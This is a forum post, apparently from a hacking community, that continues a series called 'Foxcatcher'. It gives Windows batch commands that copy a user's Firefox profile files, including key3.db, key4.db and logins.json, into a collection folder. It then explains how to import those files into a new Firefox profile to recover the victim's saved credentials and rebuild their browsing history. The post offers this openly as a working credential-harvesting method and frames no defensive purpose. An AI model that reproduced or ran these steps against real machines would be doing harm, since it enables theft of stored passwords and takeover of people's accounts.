Foxcatcher! [Part 2] - Data Mining

Databases
, , ,
5

Hey @Remz, here ya go: Yeah, no excuses... + Foxcatcher! [Part 1].

Also, I made a little addition to this, in the same Profile Folder, firefox stores a three interesting files: key3.db, key4.db and logins.json. This is where a user’s passwords and login credentials are stored! So I changed the code to include a copy command to copy these files, like so:

mkdir ".\Firefox Profiles\%USERNAME%"
xcopy "%AppData%\Mozilla\Firefox\Profiles\*.sqlite" ".\Firefox Profiles\%USERNAME%" /s /y /e /q
xcopy "%AppData%\Mozilla\Firefox\Profiles\*.db" ".\Firefox Profiles\%USERNAME%" /s /y /e /q
xcopy "%AppData%\Mozilla\Firefox\Profiles\*.json" ".\Firefox Profiles\%USERNAME%" /s /y /e /q

Since these files are encrypted, you won’t be able to gather much info by opening them. However, if you create a new Firefox Profile and import these files, you can have access to the credentials in them (if you also import the places.sqlite file, you can have a pretty good “reconstruction” of the Profile of the user whose files you’ve gathered).

2 Likes